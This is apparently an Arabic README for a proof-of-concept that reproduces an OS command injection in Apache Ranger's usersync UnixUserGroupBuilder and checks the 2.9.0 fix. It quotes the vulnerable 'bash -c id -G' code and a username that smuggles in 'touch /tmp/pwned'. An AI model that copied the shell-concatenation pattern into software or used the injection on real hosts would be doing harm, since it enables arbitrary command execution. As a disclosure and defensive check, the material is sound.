
مُعيد إنتاج لإثبات المفهوم لثغرة حقن أوامر نظام التشغيل في Apache Ranger UnixUserGroupBuilder (CVE-2026-28672)، توضح الثغرة وتتحقق من الإصلاح.
UnixUserGroupBuilderأداة إعادة إنتاج قابلة للتشغيل (proof-of-concept) لثغرة حقن أوامر نظام التشغيل في وحدة مزامنة المستخدمين (unixusersync) الخاصة بـ Apache Ranger.
أثناء تعداد مجموعات كل مستخدم تتم مزامنته، يشغّل UnixUserGroupBuilder أمر id عبر غلاف أوامر (shell)، مُلحِقًا اسم المستخدم بسطر الأوامر:
// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});
يأتي اسم المستخدم من مصدر مزامنة المستخدمين المُهيأ (LDAP/AD أو ملف)، وبالتالي يمكن للمهاجم التأثير فيه. أي اسم مستخدم يحتوي على محارف خاصة بالغلاف — مثل alice; touch /tmp/pwned — يُنفَّذ كأمر نظام تشغيل (CWE-77، عدم تحييد العناصر الخاصة المستخدمة في أمر).
mvn -q -DskipTests package
docker compose up --build
# or, without Docker (needs bash/id/touch on PATH):
java -jar target/cve-2026-28672.jar
المخرجات المتوقعة على مسار الكود المعرض للثغرة:
[1] Benign username 'nobody':
id -G nobody -> 65534
[2] Malicious username 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
injected command executed? marker /tmp/pwned-28672 exists = true
[3] Same malicious username through the 2.9.0 FIX (id run directly, no shell):
id -G 'nobody; touch /tmp/pwned-28672' -> null
injected command executed? marker exists = false
>>> PROVEN: ... OS command injection (CWE-77): true
يُشغِّل Apache Ranger 2.9.0 أمر id مباشرةً كمتجه وسائط (argument vector)، بحيث يصبح اسم المستخدم وسيطًا حرفيًا واحدًا ولا يتم تفسيره أبدًا عبر غلاف أوامر:
// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});
يحتوي UnixUserGroupBuilderVuln.java في هذا المستودع على كلا الصيغتين حرفيًا، مع الإحالة إلى المصدر الأصلي (upstream).
يُنشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache Ranger على فهم الثغرة، والتحقق مما إذا كانوا متأثرين بها، والتأكد من أن الترقية تحلّها. الحمولة (payload) غير ضارة (فهي تنشئ ملف علامة داخل /tmp). لا تستخدم هذه المادة ضد أنظمة لا تملكها أو لا تديرها.
| الخاصية | القيمة |
|---|
| المشروع | Apache Ranger — org.apache.ranger.unixusersync (مزامنة المستخدمين) |
| التصنيف | CWE-77 عدم تحييد العناصر الخاصة المستخدمة في أمر ('حقن الأوامر') |
| متجه الهجوم | اسم مستخدم يحتوي على محارف خاصة بالغلاف يتم تزويده من مصدر مزامنة المستخدمين |
| الأثر | تنفيذ أوامر نظام تشغيل تعسفية على مضيف مزامنة المستخدمين في Ranger |
| الإصدارات المتأثرة | من 0.6 حتى 2.8 |
| الإصدار المُصحَّح | 2.9.0 |
| النشرة الأمنية | نقاش lists.apache.org · CVE-2026-28672 |
| جهة الاكتشاف | Andrea Cosentino |